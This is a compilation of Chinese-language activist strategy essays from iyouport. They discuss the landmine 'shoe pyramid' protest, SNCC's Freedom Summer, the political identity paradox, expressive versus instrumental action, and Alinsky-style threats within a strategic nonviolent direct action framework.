并且，正是这些白人学生可以帮助扩大白人家庭和朋友的社区，后者没有受到非裔美国南方人的斗争的直接影响。

随着斗争的升级，这些团体最有可能会从中立转变为被动盟友、甚至是活跃的盟友。

🌤以上这些都是通过细致的调查得出了背景分析—— 绝非简单的推测。

根据这一分析，SNCC 做出了一项战略决策：通过让有同情心的白人学生参加他们的自由暑期计划，专注于在北方人中建立中立的白人社区。

大批的学生前往南方协助选民登记，许多人在这个过程中深受激励。

他们亲眼目睹了私刑、暴力警察的虐待、和愤怒的白人暴徒，这些都是对南方黑人只是试图行使投票权的回应。

许多人写信将这些故事告诉他们的父母—— 他们突然与斗争有了个人联系。

这引发了另一个理想的转变：他们的家庭成为了被动的盟友，进而带动了他们的工作场所和社交网络；与此同时，学生们在秋季作为积极的盟友返回学校，并开始在自己的校园里进行组织—— 推动向民权方向的转变。

其结果是：政治格局发生了深刻的变革。

🌤这一巨大的立场转变并不是自发的：这是一项蓄意的运动战略的一部分，直到今天，还在为很多其他新的公民抵抗运动带来深刻的经验。

中国活动家的牺牲层出不穷，但每一次都没能引发全社会的轰动和由此带来的行动跟进—— 以至于当局可以大模大样地进行央视认罪，而不会惧怕民众的奋起。

这才是最大的失败（而非被捕和牺牲本身）。令人惋惜。

请不必声称“民众的奴性”，在从未完整尝试之前您至少没有证据证明一个社会的基因中不存在反抗意识和同理心。

⚠最重要的是意识。

当中国最著名的诺贝尔和平奖得主去世时，有活动家认为“这是机会”（而非终结），却被其他学者抨击—— 为什么？因为该学者缺乏这一意识，于是无法理解*死亡并非结束*的反抗运动原理。

显然，这需要花时间去积累。一场成功的行动肯定不是在社交网络上拉一堆签名这么简单。

注：本系列话题提供的技巧和策略均是可以混合交替使用的，可以在您所面临的情境下，合理地斟酌各种方案，并巧妙地协调以发挥最佳效益。〇

原文

（31）简单地压倒性 —— 用行动说话：鞋子金字塔 - iyouport

行动技巧、战术和原理

（2019年9月27日存档）要争取时间，抢在被维稳之前实现目标，你就需要节省掉解释和辩论所造成的消耗

“行动胜于雄辩” —— *Ruckus Society* 的座右铭

你是不是总在忙着对众人解释“我为什么这么想、为什么这么做”？你组织的活动是否需要一大堆的说明性文字才能让大众了解到你们为什么要站在哪里？

也许你能解释得很好，能在辩论中力压群雄，但是这一过程会大大消耗你的运动的直接效力。⚠尤其是当下这个快餐时代，有耐心去了解你的人只会越来越少。

但当局了解你的速度绝对比大众更快，因为他们一直在盯着你、研究你。

要争取时间，抢在被维稳之前实现目标，你就需要节省掉解释和辩论所造成的消耗。

🌤简单说，让人看一眼就知道你在干什么、为什么而做，人们就能为你所触动 —— 而且需要让大多数人都有兴趣看上这一眼。

回想一下，你有没有曾经看到一群愤怒的人聚集在那里（不论是网上流传的照片视频还是现场）却不知道他们在干什么？或者一群年轻人封锁了一个十字路口，你却不知道他们是谁？他们想要什么？

这就很糟糕了。是缺乏行动逻辑的结果。

良好的行动逻辑下是没有人需要问上述那些问题的；让一个局外人立即就能明白你为什么这样做。

行动逻辑创造了有力的故事，可以感动人心，改变思想。

行动胜于雄辩，不仅意味着言行一致，而且，⚠特别是在充满敌意的媒体气氛中，活动家经常被媒体公然地歪曲，你根本无从辩解，这种情况下最重要的是你的行动本身就可以不言自明。

通常需要大量的思考和关注才能设计出具有直觉意义的行为。

公民不服从行动 —— 例如美国民权运动的午餐柜台静坐 —— 往往具有固有的行动逻辑，因为他们的目的是违反不公正的法律，以突出这种不公正。

然而，其他形式的直接行动，有时需要违反与其行动目标无关的法律，这就需要做一些额外的工作来实现明确的行动逻辑。

记得我们曾经在“制造决策困境”中介绍过的案例，Cindy Sheehan 在布什的度假牧场外露营，她拒绝离开直到布什亲自出来解释她死在伊拉克的儿子做的究竟是什么“崇高事业”，这一行动就具有强大的行动逻辑。

罗德岛的单身母亲们也不仅仅是坐在公共住房官员的办公室里，而是带着他们的孩子和他们一起向官员施压，几个小时后，该办公室就变成了日托中心。

正如我们此前的文章中所强调的，📢在策划阶段你需要考虑全面，不仅要要换位 —— 通过不同领域不同立场的受众角度观察自己的行动计划，也要计算出你的对手可能采取的一切反应，你的目标应该是尽可能让对手的所有可选项都有利于你，而不是他们。

📢尤其是，一个策划完善的行动本身就能讲述千言万语，而不需要活动家亲口解释；这就能做到让任何看上一眼的人都能读懂你的立场，而不会被当局和他们操纵的媒体抹黑你的价值。

巴黎曾经最著名的“鞋子金字塔”行动就是经典的行动逻辑代表。

后冷战时期，在从柬埔寨到莫桑比克的冲突地区，地雷每天都在致残和杀害普通人。受害者失去了腿、脚、脚趾和手；弹片嵌入了他们的脸和身体。

这些地雷在战争结束后很长时间内仍留在那里，不分青红皂白地滥杀无辜，绝大多数（70%至85%）的受害者都是平民，而不是士兵 —— 他们往往只是在村子附近的田地里玩耍时遭遇到伤害。

1992年，为此成立了禁止地雷国际委员会，以解决这一全球性问题。他们的目标是：一个没有杀伤性地雷的世界。

这场行动将相关方的儿童、妇女、退伍军人，环境、人权和军备控制的团体联合在一起，这项活动遍布全球，并发展成为了一个100多个国家联盟的强大网络。

由于地雷暴力分散在世界各地，在遥远的战区已经不再能成为头条新闻，媒体都见怪不怪了；因此，此项行动需要寻找一种方法可以在西方国家的首都向公众展示这一问题的严重性，而公众情绪的上升可能会给关键政府带来压力。

活动家想到了一种策略：介于艺术守夜和媒体噱头之间的一个策略。（后者详见《别让媒体为你的对手工作》）

这一策略就是建立巨大的、象征性强大的鞋子金字塔 —— 该策略在整个90年代巴黎的大规模集会中被不断使用。

在至少一个行动案例中，那个“金字塔”包含18,000双鞋子，代表每年因地雷而被杀或受伤的18,000多人。

为了让大众了解到无辜平民的脚和腿被世界各地的地雷炸碎的事实，每一位参加游行的人都被要求带上一双旧鞋子。

当每个游行者经过一个中心位置时，他们会暂停并庄严地为受害者脱帽，并将他们自己的鞋子加到那一大堆鞋子里。

整场行动宛如一个宏大的艺术表演。

在游行的过程中，鞋堆堆积不断增长，最终成为地雷恐怖的纪念碑，准确地捕捉了这一痛苦的规模、清楚地陈述了如果不禁止这种邪恶武器将要继续付出的人类成本。

💡一切都是在用行动说话，它周围的每一个雕塑和仪式每时每刻都在将中心问题带到台面上，不仅增添了庄严，还自动形成了一个强大的画卷，使其成为了世界各地的头版。

最后，1997年9月，在挪威奥斯陆通过了“禁雷条约”（禁止使用、生产、储存和转让杀伤性地雷），并于1997年12月3日在加拿大渥太华签署了122个国家。

截至2013年1月，“渥太华条约”共有161个缔约国。自1997年以来，

地雷致死或受伤的人数急剧下降。

1997年，该组织及其创始协调员 Jody Williams 共同获得诺贝尔和平奖。

成功的关键：

「图」

💡鞋子金字塔起作用，是因为它在视觉上引人注目、情感渗透力强大，并且易于参与和理解。

这是一个不同寻常的仪式和形象的融合：一个重复的动作 —— 再增加一双鞋子到不断增长的一堆上 —— 这不仅是为参与者的行动本身，而且，重复了数千次，形成了一个巨大的雕塑，每一个动作都在讲述核心故事。

游行中的每个人都可以通过带上一双鞋子轻松参与，但在此过程中构建的则是一个强大的视觉陈述，在单张照片中就可以清晰地总结所有问题。

不仅加深了支持者的承诺，并且同时向不经意的观察者解释了一切。

这就是本文希望强调的：简单地压倒性。

这是一个最普适的规律：⚠你的行动策划要求参与者做得越复杂，加入你的人就越少。

而简单却可能达到压倒性的震撼效果。

如果您正在尝试组织参与式大型抗议艺术作品、群众行动、或可以病毒式传播的宣传活动，您无需将其全部编写成脚本 —— 即使您可以写下来。

💡您需要的只是一些参与者可以加入的简单规则。然后让人的行动以最自然的方式直接讲述故事。

如果遵守正确的规则，参与者就可以带来令人惊讶的强大、有效和动人的表达。

Critical Mass 是个典型例子，这是世界各地的城市每月举行的大规模自行车骑行活动。

🌜它的规则非常简单：在本月的最后一个星期五收工后出发，并汇集起来。如果你骑在最前面，你可以决定后面所有人的路线；如果你骑在后面，你可以帮助更落后的人跟上；如果您处于中间位置，只需骑行，或者，如果您愿意，可以在岔路口保护其他骑车人。

整场运动没有人在真正“负责”，同时，每个人都在负责。这是一种“有组织的一致”。它非常有效。

另一个最著名的行动 Flash mobs 也以相同的逻辑运行。

在华尔街举行的2008年快闪族 flash mob 枕头大战的行动动员只包括两个规则：带一个枕头，不可以打击任何没有枕头的人。这就是全部！

这些努力在互联网上也非常有效。

比如 **tumblr** 的 “我们是**99**%”。（延伸《他们不关心你的死活，因为他们是1%》）

邀请很简单：参与者只需要拍下自己的照片，上面写着描述你情况的标志 —— 例如，“我是一名负债25,000美元的学生”，注明：“我是99%”。由此产生的声音成为了一种雄辩的力量。

🌜尤其是狂欢节模式的抗议活动，越简单的规则越容易取得成功，因为这就是一场狂欢节。

更具政治色彩的大众街头行动或分布式行动（参见《分布式行动的街头派对》），往往需要一个更强大的框架。

您的行为的性质、复杂性、和风险程度，将决定所需的确切规则。

⚠请注意：

简单的规则，无论选择多好，都不会神奇地自动完成所有工作。

通常，召集人（发出邀请和设定规则的人）必须在整个过程中进行管理，以保持看似有机的过程正常运转。

然而，一套正确的简单规则完全可以帮助你完成大部分工作，并且，群众的发挥可能超乎你的预期，实践中可能抵达你从未计划或想象到的层面。

行动逻辑 ——

「图」

大多数成功的行为都有其固有的、透明的逻辑。就如鞋子金字塔；行动本身能自己说话。

当你的行动具有这种清晰的核心时，无论目标如何响应或如何发挥作用，行动本身都将继续表明你的观点、并对任何观察者清晰可见并富有意义。

民权运动期间的午餐柜台静坐有就具备明显的行动逻辑。

在歧视性的种族隔离法的背景下，黑人和白人学生同时坐在午餐柜台等待服务已经违反了法律。

看到这一行为的任何局外人都知道他们为什么在那里。他们不需要携带任何标志。

就如我们曾经分析过的那样，事实上，他们的行动本身就预示着胜利 —— 预示了他们想要生活的世界：种族融合。（在这里看到详细《预设性干预战术》）

鞋子金字塔的关键原理：

「图」

1、让隐形可见

「图」

由于地雷暴力发生在全世界偏远的角落，媒体和公众长期不关心；这一关键灾难被隐藏起来了。因此，至关重要的就是："让隐形可见"。

鞋子金字塔是一个清晰的、具体的和人性化的行动 —— 需求的可视化。而且，至关重要的是，鉴于现代媒体的运作方式（抢吸睛度抢热点），该行动本身可以用一张强大的照片实现传达长篇大论的效果。（见《别让媒体为你的对手工作》）

2、使用仪式的力量

「图」

我们分析过文化地形的重要性（详见《了解你的地形是策划行动的第一步》），您所在当地的民间文化仪式都可以用来制作强大的抗议活动（包括婚丧嫁娶的习俗性仪式）。越能贴近你的本土文化，其影响力就能越高。

甚至最简单的大众一看即懂的仪式，都可以做到迅速感染观察者。

就如鞋子金字塔所做的。虽然它没有盛况空前的仪式，但是，简单的添加鞋子并为受害者脱帽的仪式 —— 已经为参与者和观察者提供了一个强大的情感容器，清楚的讲述了悲剧故事。

对于一些人来说，这一仪式唤起了哀悼犹太遇难者的传统，在逝者的墓碑上放置一块小石头；对于所有人来说，它提供了一个反思，一个庄严严肃的时刻 —— 与被突出的悲剧相匹配 —— 在本来可能是一个喧闹和短暂的游行中。

3、简单的规则可以有很棒的结果

「图」

即本文的主题。

因为每个人家里都会有至少一双蹩脚的旧鞋子；携带一双鞋子就能参与这场大型运动，对每个人来说都是轻而易举的。

然而对于许多人来说，那个时刻是意义深刻的，而这些简单行为的积累所产生的巨大雕塑讲述了一个宏大而复杂的故事，它精准地捕捉到了问题的严重性。

4、了解你的文化地形

「图」

再一次。详见《了解你的地形是策划行动的第一步》。

鞋子金字塔的文化背景非常鲜明 —— 一堆鞋子让人们很容易想起在纳粹集中营中被杀害的人的衣服、鞋子、和其他个人物品的堆积，就如在奥斯威辛集中营的展出。

一场大屠杀无意识地唤起人们对另一场大屠杀的记忆，这是这一行动的智慧和力量的重要部分。

关键理论：

「图」

最好的创造性行动 —— 无论是对权力的直接挑战还是更具象征性的表达 —— 往往都有一种简单的、有机的逻辑，行动本身能自己解释自己。这是鞋子金字塔的最出色部分之一。

它只有一个非常简单的标题—— “这些鞋子代表了世界各地被地雷炸毁的腿、和腿和生命”—— 它的象征意义立刻戏剧性地击中了人们的情绪，对于参与者和观察者来说都是如此。〇

原文

（32）自杀不是明智之举：警惕政治认同悖论 - iyouport

行动技巧、战术和原理

（2019年9月27日存档）少数激进派行动者在敌人的领土上英勇就义，就像孤独的游击战士。也许能让某些人感到光荣，但是无疑，这是一次自杀任务

> “少数激进派行动者在敌人的领土上英勇就义，就像孤独的游击战士。也许能让某些人感到光荣，但是无疑，这是一次自杀任务”

中国的社区间协作为什么很差？这是曾经被观察者问及的。原因也许有很多，但组织运作方式问题也许是根本性的。

任何接触或参与过中国社交圈子的人大概都会有这样的印象，很多圈子会越变越小，圈子的“中心级人物”会不断与群体中其他人失去连接关系；直至他们彼此之间也出现裂痕，最终崩溃。

尤其是政治异议的群体，这种现象是格外有害的。

几乎所有人都明白，团队组织需要凝聚力，越多越好，团结才能鼓舞士气。

任何严肃的社会运动都需要相应严肃的群体认同，这种认同可以鼓励其成员在长期斗争中作出特殊的承诺和牺牲。

但是，⚠ 强大的团体认同是一把双刃剑 —— 群体的身份和凝聚力越强，人们就越有可能与其他群体和社会疏远。加速自我边缘化。

这就是政治认同的悖论。

这种现象在所有群体中都是如此，⚠但往往会对参与政治斗争的团体产生非常特殊的影响，因为，反抗团体不仅需要培养强大的内部认同，还必须赢得盟友。

在政治团体中，孤立的倾向可能会迅速升级，因为对峙的斗争会激发出更多对峙的心理（就如在美国民权运动期间活动家们忍受的残酷抵抗）。

一方面，参与者需要比以往更多地相互传递力量和支持，在冲突升级的时刻里，他们需要对自己的群体身份感到自豪并由此产生凝聚力；而另一方面，他们也需要保持外向，与广泛的且不断增长的大众保持联系。

即使领导者专注于完成这项任务，也可能很难做到这一点，更不用说当他们毫无准备的情况下了，往往就是突出的悖论。

以民主社会学生组织 SDS 为例（原始的SDS在1969年以戏剧性的方式分崩离析）。

这个庞大的学生组织从中心崩溃了 —— 充分体现了政治认同悖论。当时，关键领导者已经被他们的对立身份所包围，并且变得越来越孤立。他们失去了与更广泛的会员（即 学生）相连接的能力和倾向，更不用说更广泛的社会了。

那一代中一些最忠诚的潜在领导人认为，与组织大量学生采取协调行动相比，少数人制造炸弹会更有价值。

⚠这是一种极端孤立的趋势。

少数激进派行动者在敌人的领土上英勇就义，就像孤独的游击战士。也许能让某些人感到光荣，但是，这是一次自杀任务。

政治认同悖论提出了警告：政治团体需要发展强大的联系和强有力的衔接。如果没有强大的团队内部联系，团队成员就会缺乏严肃斗争所需的承诺水平；但是，如果没有强大的超越群体本身的衔接，该组织就会变得迅速孤立和边缘，无法建立更广泛的联盟。

🌤优秀的领导者必须在这两种刚需相互冲突的条件下进行非凡的平衡，以便在团队中建立强烈的认同感，并且同时与团队之外的盟友和潜在盟友建立联系。

组织运作需要很多技巧，其一点不差行动本身所需要的技巧。毕竟，你想要做的是与更强大和沉重的机器对抗，而你首先就应该让自身变成更加敏捷和灵巧的机器。螺丝钉是无法完成这项任务的。

招募协作者 —— 更多螺丝钉 —— 是第一步。

引入新参与者对于任何希望增加规模和能力的活动家团体都至关重要 —— 但必须知道这只是第一步。

⚠将人们融入已建立的团队，将是下一步更大的挑战，需要对其进行有意识的处理。你需要的不仅是自身的魅力 —— 让人们喜欢上你愿意接近你，并且，你还需要一些基本的程序，能够让加入你的新人感受到被欢迎的融洽。

对于初学者来说，当有人说他们有兴趣了解更多信息或参与你的小组时，不要只是邀请他们参加你的下一次会议并将其留在原地等待；这可能会突出“主–客”关系并令情感保持生疏。

即使是最热情和最具包容性的群体也倾向于发展自己的内部文化，这种文化无意中会让新人感觉自己像个外人。

就如中国的圈子所呈现的那样：新来的人往往插不上话，你完全不知道原有的成员之间交流的是什么意思；他们使用特定的彼此才理解的措辞和表达方式，它产生了鲜明的排斥感。

为了提高您的新成员保留率，请在新的成员加入小组之前安排一对一的交流。

作为组织者你需要结识这个人。了解是什么吸引了他们，他们喜欢或擅长什么样的任务，以及他们有多少时间。然后告诉他们更多有关该小组的信息，并讨论他们的参与情况。

虽然这一过程可能需要花费你更多的时间，但是，从长远来看，它可以节省时间：因为这样做能让人们倾向于更快地进入工作、并且更长时间地坚持下去。

🌤让您的团队中的一个或两个成员作为持续的角色承担这一责任，可能是有意义的。

其次，如果你想激励人们保持参与，你需要让他们感受到被重视和被赞赏。人们喜欢和善待自己的人在一起。

我们大多数人都不缺少可以填满空闲时间的杂事：🌤如果你希望人们优先考虑你的团体，你就必须善待他们。

注意观察捕捉并承认新人的贡献，无论多么微小。请抽出时间在聚会之外与他们一起合作和交流。

经常询问他们的意见：他们对组织的看法是什么？对哪个行动比较感兴趣？有些什么希望？在倾听的过程中您就可以将组织的理念融合进新人的意识。

技术是你的武器，人员是你的力量，缺一不可。

你的对手最擅长的就是孤立你和你的队友，让你们先入无助和分裂（我们将在后面开启“攻心计”的独立话题，详细这些手段）；如果你想赢，就有必要努力抵御这些攻势，切勿给对手以可乘之机。〇

原文

（33）抗议行动不是广场舞：表达性和工具性的矛盾 - iyouport

行动技巧、战术和原理

（2019年9月27日存档）如果真正的激进派发现长发会给沟通和组织活动设置心理障碍，他们就会剪掉头发

> *“如果真正的激进派发现长发会给沟通和组织活动设置心理障碍，他们就会剪掉头发” —— —Saul Alinsky*

你看过广场舞吧，一些人在播放着自己的音乐、表演着自己创造的舞姿，他们好像很兴奋，而且旁若无人。

他们给你的感受是什么？尤其是，当你逛公园是想要一份宁静的时候、或者晚间在自家院子里纳凉的轻松时间，你耳边却是不间断的嘈杂音乐声？

对广场舞的描述经常伴随着“烦人”这样的形容，而不是他们似乎想要声明的“健身”概念。

也许因为它是被少数人定制并要求多数人模仿的？

不一定。关于“烦人”还有另一种类似的形式，非洲手鼓聚会。

这种手鼓聚会是现场演绎的，没有定制。你与朋友甚至陌生人一起在公园里坐下来，一起制作节奏，直观地交流，每个人都可以添加自己的节奏，最终形成宏大和美丽的声音。听起来很棒是吧。

不过它依旧被描述为烦人。

路人经过这里并没有期待听到一片激烈的鼓声。虽然表演者看起来非常投入，他们拼命地敲打着羊皮鼓面，他们被自己的表达欲望所笼罩着，就如广场舞一样，旁若无人。

⚠ 成为表演者的一部分是一回事，从外面体验它，则是另一回事。

这是一个非常严肃的思考。

很多时候，街头抗议运动被搞得就像一个非洲手鼓聚会。

从外面看，它可能是痛苦的、缺乏想象力的、自我中心主义的，而且很烦人。

然而，对于参与创建行动的人来说，体验可以是有益的和变革性的 —— 即使其他人都感到困惑或烦恼。

如果这种情况发生而你没有察觉 —— 就如跳广场舞的大妈，那将意味着你已经很容易成为政治认同悖论的牺牲品。（《自杀不是明智之举：警惕政治认同悖论》）

根源问题在哪儿？

⚠因为你沉浸于表演/表达/表现，而不是作为目标的*改变*。

有时，积极人士会直接采取行动而不会过多地考虑别人如何接受它，或者行动将达到什么样的目标。

许多人参与行动是因为行动对他们自己有意义，或者仅仅因为做正确的事感觉很好。我们称之为*行动的表达部分*。

表达性行动来自内心和直觉 —— 无论头脑中是否计算出具体结果。

游行期间“走街”就是一个很好的例子。当然，在街上游行的感觉的确是不错的。

你和你的同伴勇敢地违反了警察的命令，一起走进了行车道。你几乎可以闻到空气中飘逸的团队凝聚力。令人陶醉。

而就更广泛的社会运动目标而言，这些通常是无关紧要的。

不过，你听说过游行是“糟糕的”仅仅是因为人们留在了人行道上吗？当有人这么说时，⚠ 可能是因为他们的目标主要是表达；影响社会变革是次要的。

🌤 而大多数训练有素的组织者都会在另一个层面上思考：无论参与者的自我表达价值如何，我们都会问：“这个行动实际上对我们的问

题、原因、行动或竞选活动有什么影响？” 我们称之为*行动的工具价值*。

这两个方面其实都很重要，虽然精心设计的行动可以同时实现两者，但是，⚠表达性和工具性经常是相互对立的。

许多强硬的组织者专注于有形的影响，而忘记了行动的自我表达维度在肯定价值观和建立群体身份方面发挥着关键作用。

另一方面，许多团体可以在没有赢得任何东西的情况下进行一连串的表达性行动。

⚠ 这里的危险很明显：那些没有根据工具性目标评估其战术成功度的团体，可能会变得自恋和自我指责。

这就是你经常能在中国看到的。异议人士和活动家至少花费一半精力去批评周边人“为什么这么傻/为什么不懂我/为什么你们还有脸岁月静好？”……

他们的思路陷入了无关紧要的境地，因为他们没有将行动调整到可影响团队之外的任何群体的层面上。

虽然工具性行动通常集中在“外部”结果上，比如说，你可以对行动定位的目标（政客、财团）施加一些可衡量的压力，但是，它们也可以有一个“内部”的焦点。

考虑一种大众教学，它旨在建立您的组织的能力、或提高参与者的技能、或改变您的运动思维。在这里，💡行动的表达价值挖去可以直接转化为工具性结果。

因此，表达性和工具性不会是相互排斥的，而是我们需要注意的动态。

工具性行为可以进一步细分为“交际”和“实际”；交际或象征性行为旨在影响观点、表达观点或促进公共语话；而实际行为则旨在对目标产生实际影响。

这是衡量工具性结果的两种不同方式。

虽然自我表达是社会变革过程的必要组成部分，但仅仅它肯定是不够的。

通过我们的自我表达仪式，我们肯定了自己的价值观和愿景，并建立了一种群体身份和凝聚力，没有这种身份和凝聚力，我们就会变得过于软弱无序，无法改变世界。

也就是说，表达价值与参与社会和实现系统性变革并不相同。

⚠如果真的想要改变这个世界，就必须知道 —— 并且必需巧妙地平衡 —— 工具性目标与我们对自我表达的渴望之间的区别。

请注意，对于任何给定的策略来说 —— 比如 封锁 —— 都可以是交际的和实际的；其中一个并不比另一个更好。诀窍是要理解差异。
⚠ 你不应该指望一个主要是象征性的行为能产生实际性的结果，反之亦然。

一种策略在某种程度上肯定是具体的，它旨在实现一个特定的、可量化的目标。例如，反战组织者可能会试图封锁一个港口以防止一批武器通过。它有一个特定的目标，港口和使用它的公司的实际成本，以及评估成功的方法：阻止武器运输，或者阻止失败。

当一种策略旨在传达政治立场、价值观或世界观时，它就是交际性的；应对不公正的大规模游行可以属于这一类。

交际性策略可以用来激励我们的基础、建立联盟网络、寻求动摇公众舆论、或吓唬目标，但是，它往往没有具体的、可衡量的、可实现的、现实的、有时限的目标。

成功需要更具质量。

要取得成功，具体的策略必须迫使目标做出回应。而交际性策略可能有目标，但也可以完全没有目标。

虽然某些行为既可以是交际性的，也可以是实际性的，但理解这些差异非常重要。

⚠ 如果你参与的是交际性的行动却期望得到具体实际的结果，那只能感到气馁。

💡最好从一开始就清楚它是什么样的行动，这样每个人都能知道该如何衡量价值 —— 并有助于行动的影响。

同样重要的是要记住，“实际性”和“交际性”是衡量一个行动的工具结果的方法，而不是它的表现维度。

您的行动的表达部分侧重于参与者的自我表达，而行动的工具性结果则关注您的行动更直接的目标导向影响（交际和实际都如此）。

举个例子以分析这两者。

想象一下，一个旨在封锁高盛银行办公室入口的经济正义组织。

在行动计划会议上，由于对行动是否具有交际性或实际性缺乏明确分析，因此，讨论没有成效。

有些人希望通过简单的人体封锁来拒绝武器的使用，而其他人则希望通过使用链条和其他“硬装备”来提高赌注。

使用装备具有保持能力的好处（警察更难以移除你），但是，它会带来更大的风险并且更难以部署。

很明显，该小组没有时间去仔细调研以策划如何封锁住每一个出口。因此，如果该行动被认为实际性的（试图关闭高盛），那么它将失败，因为它无法实现现实的工具性结果。

然而，如果它是交际性的 —— 一种放大信息的象征性行为 —— 这样定位它可能就会是成功的。

通过为参与者提供可宣泄的、变革性的体验来建立参与者的决心、联系和承诺，交际性行动可能具有强大的表达性结果。

当参与者同意进行交际性行动时，就不再需要武装以获得持久力：在此延长时间没有战术优势。

相反，该组织决定采用人体封锁，这在媒体上的发挥会更好（媒体效应是表达性行为取得成功的一个重要指标）。

如果积极人士们没有评估他们行动的目的并理解这一目标（特别是他们的目标是交际性的而不是实际性的程度），他们能做出的战略选择就会非常少。

现在您明白了，为什么香港的六四纪念游行会在活动家内部产生矛盾？其中有些人认为已经是鸡肋，因而停止了参与。正是因为没能清楚地阐述其定位：它是表达性的，而非实际性。如果您的期待是实际的变革，那将是一个具有伤害性的误会。〇

原文

（34）威胁感可能比事物本身更有效：战略性直接行动 - iyouport

行动技巧、战术和原理

（ 2019年10月11日存档）“如果你能够成功让桌上的其他玩家相信你拥有比他们更好的牌，他们就有可能因为害怕失败而弃牌。” —— Saul Alinsky

---

事物的威胁性通常比事物本身更可怕，这是20世纪著名组织者之一 Saul Alinsky 的名言。

📢用即将采取行动来恐吓对手，有时候会使他们屈服于你的要求。

当然，⚠这需要充分衡量你和你的对手所处的环境。

1964年，当芝加哥奥黑尔机场疯狂吸取黑人和其他被压迫的芝加哥人的生命线时，Alinsky 和 Woodlawn 组织没有屈服，他们反过来威胁要“乱扔垃圾”。

成千上万的积极人士通过支付一毛钱占据了整个机场的所有便盆，其他人在这些使用者后面排起了长队，活动家阻塞洗手间并迫使所有乘客将机场变成一个巨大的厕所。

请注意 Woodlawns 团队从未采取完整的行动。

但消息传出后，市政厅立刻召集了组织者会面，并商议满足活动家们对奥黑尔机场的要求。

其实我们从小就学到了这个原理。当你需要去摸电门或火焰时，你的父亲就会举起一只手威胁着要打你。

父母的姿势足以让孩子退缩。威胁做某事有可能比实际行动更有力。

这并不是说你必须首先占据“父母”这个权威的位置。

但是，⚠你必须抓住你的对手的弱点 —— 他们最期待的东西就是他们的弱点。在奥黑尔机场的案例中，对手的弱点就是利润 —— 秩序是保证利润的关键 。

在乌干达布西亚，Masafu 医院本应该为所有当地居民提供免费的医疗服务，但是当地人已经在近十年的时间里没有正常运行的X光机可用。

老旧的机器已经崩溃了，但是医院管理部门没有费心去修理、也没有去买一个新的回来。

有传言说管理者想要挪用资金而不是把钱花在纳税人身上，这笔资金原本应该服务于整个布西亚所有居民。

2017年8月，由 Frank Kasumba 和其他活动家组织的公民代表团向该区的官员发出了一封信，要求购买新的X光机，限时一个月的最后通牒。

信中说，如果他们做不到，居民会入侵他们的办公场所并无限期地占用那里。

在一个星期的时间里，国会议员 Nabulindo Jane Kwoba 捐赠了大约5000美元给该地区，再加上约3000美元的补充预算专门用于修理机器。

🌤这封信给了官员们一个价值权衡：相比下修理机器是简单的，总好过被居民占据办公室然后再出动武警维稳，那将意味着将道德制高点的位置交予了抗议者。政客们很明白这个道理。

留一个小小的台阶，哪怕它很隐秘，水也会顺势流出。

2015年，为了回应私营部门与以色列犯罪的共谋，BDS运动的埃及分支宣布抵制当时的电信巨头 Orange 的全国特许经营公司 Mobinil，该公司拥有3000万埃及用户。

在抵制开始之前，Orange 首席执行官 Stephane Richard 专门从巴黎飞往开罗，承诺 Orange 将从以色列撤出。

显然，他们无法承受三千万用户的损失。

Rainforest 行动网络（RAN）等组织也使用过类似的策略。

例如2000年，RAN 的行动目标是让北美森林产品公司停止从原始森林中采购木材。

活动家们并没有追逐每一家公司，而是将目光瞄准了市场上最大的公司（Home Depot），一旦他们赢得那场斗争，他们就可以去接下来几家排名靠前的公司，威胁要对他们做同样的事。

⚠请注意，行使 **Alinsky** 的原理不适合胆小的人。

如果出现对方“不吃这一套”的情况，发出威胁的个人和团体必须愿意并能够实施切实的威胁。

但是，操作技巧绝对是关键 —— 你必须能给你的对手以真实的压力感。

就如 Jack London 说过的：“生活并不总是意味着持有好牌，但有时容易打得很差。”

⚠潜在风险：

人们很容易分心。

如果您只是针对涉及其他人的操作发出警告，而没有行动，不久之后许多人可能会感到无聊、气馁或不确定性的恐惧，并随着时间的推移逐步退出。

如果这种情况发生，您主持的运动可能会失去信誉。

所以你必须有同时能加强团队凝聚力的技巧，比如让人们看到planB的激进方案的可行性，尤其是强大的成功概率。

运动要随着政治戏剧的发展而不断发展。

如果你为对手提供了长时间的最后通牒，就有可能让他们在这段时间内制定策略；如果你没有考虑周全，反而会让你的团队被置于不利的落后境地。

所以，要参考另一条原理：把你的对手置于决策困境中，让他们能想到的每一种策略最终都有利于你，而不是他们。参见《决策困境》。

战略性非暴力

如上所述，采取威胁的方法时您必须有可以直接行动的planB。

可能更好地服务于您的目标的框架是战略性非暴力直接行动之一。

💡在战略性非暴力框架内，团体应该明确就哪些策略用于特定行动达成协议。

⚠请注意，这个框架具有战略性 —— 它对暴力是否合适并没有道德判断，它并不要求您承诺甘地和平主义，但是，它指出，“这就是我们同意在这个时候共同行动的方式 ”。

⚠它是主动的，而不是被动的。

⚠它试图为对手制造两难境地，并将您的价值观与对手的价值观之间的差异戏剧化突出出来。（参见《决策困境）

战略性非暴力直接行动具有强大的优势：

> 我们就我们将采取何种类型的行动达成协议，并让彼此负责遵守协议。

在达成协议的过程中，需要有意识地去倾听彼此不同的观点。

💡不要试图去避免在小组内部出现的分歧，而是要学会自由地、热情地、和互相尊重地进行辩论。

公开组织，没有恐惧，因为你的队友都支持共同的行动。

你们可能会违反更高的良心法则破坏法律；但是不会寻求惩罚，而是会以勇气和骄傲面对行为所造成的一切潜在后果。

虽然非暴力直接行动的框架并不能使你和队友保持安全，但它确实可以让你明确决定将自己置于风险之中的行为。

战略性非暴力直接行动的框架使拒绝挑衅变得容易。你知道自己已经同意的内容 —— 因为有协议，任何敦促其他行动方案的人都可以被拒绝。

在这场斗争中有足够的空间来进行各种各样的运动以及多样化的组织和行动。

有些人可能会选择严格的甘地式非暴力，而其他人可能会选择激烈抵

抗。

但是对于运动本身而言，战略性非暴力直接行动是一个框架，将允许基础广泛的运动在多样性和力量方面不断增长。

关键原理 —— 严格定义“硬核”（参见这里《有策略地升级》）

随着更多地接触压制和不公正，积极人士们往往会变得越来越激进。

特别是年轻的活动家，很可能越来越多地寻求更多的“硬核”方式来挑战他们反对的东西。

这些趋势很有价值，应该得到尊重和支持，但是，并非所有的硬核行动都同样有效。

通过制定一个战略升级的过程，您可以为队伍中更激进的成长腾出空间，而不至于为队友留下更加谨慎保守的态度 —— 尤其是不会破坏框架本身。〇

原文

（35）赴死不是英雄：冒险，但要小心 - iyouport

行动技巧、战术和原理

（2019年10月11日存档）“殉难是一种法西斯主义倾向。” —— Gopal Dayanenni

直接行动是受压迫的人们在整个人类历史中用来重建力量的工具。

当社区没有数十亿美元可用时，他们就会利用风险。

他们把自己的身体、自由和安全放在了第一线。

无疑，直接行动会带来一些固有的风险。

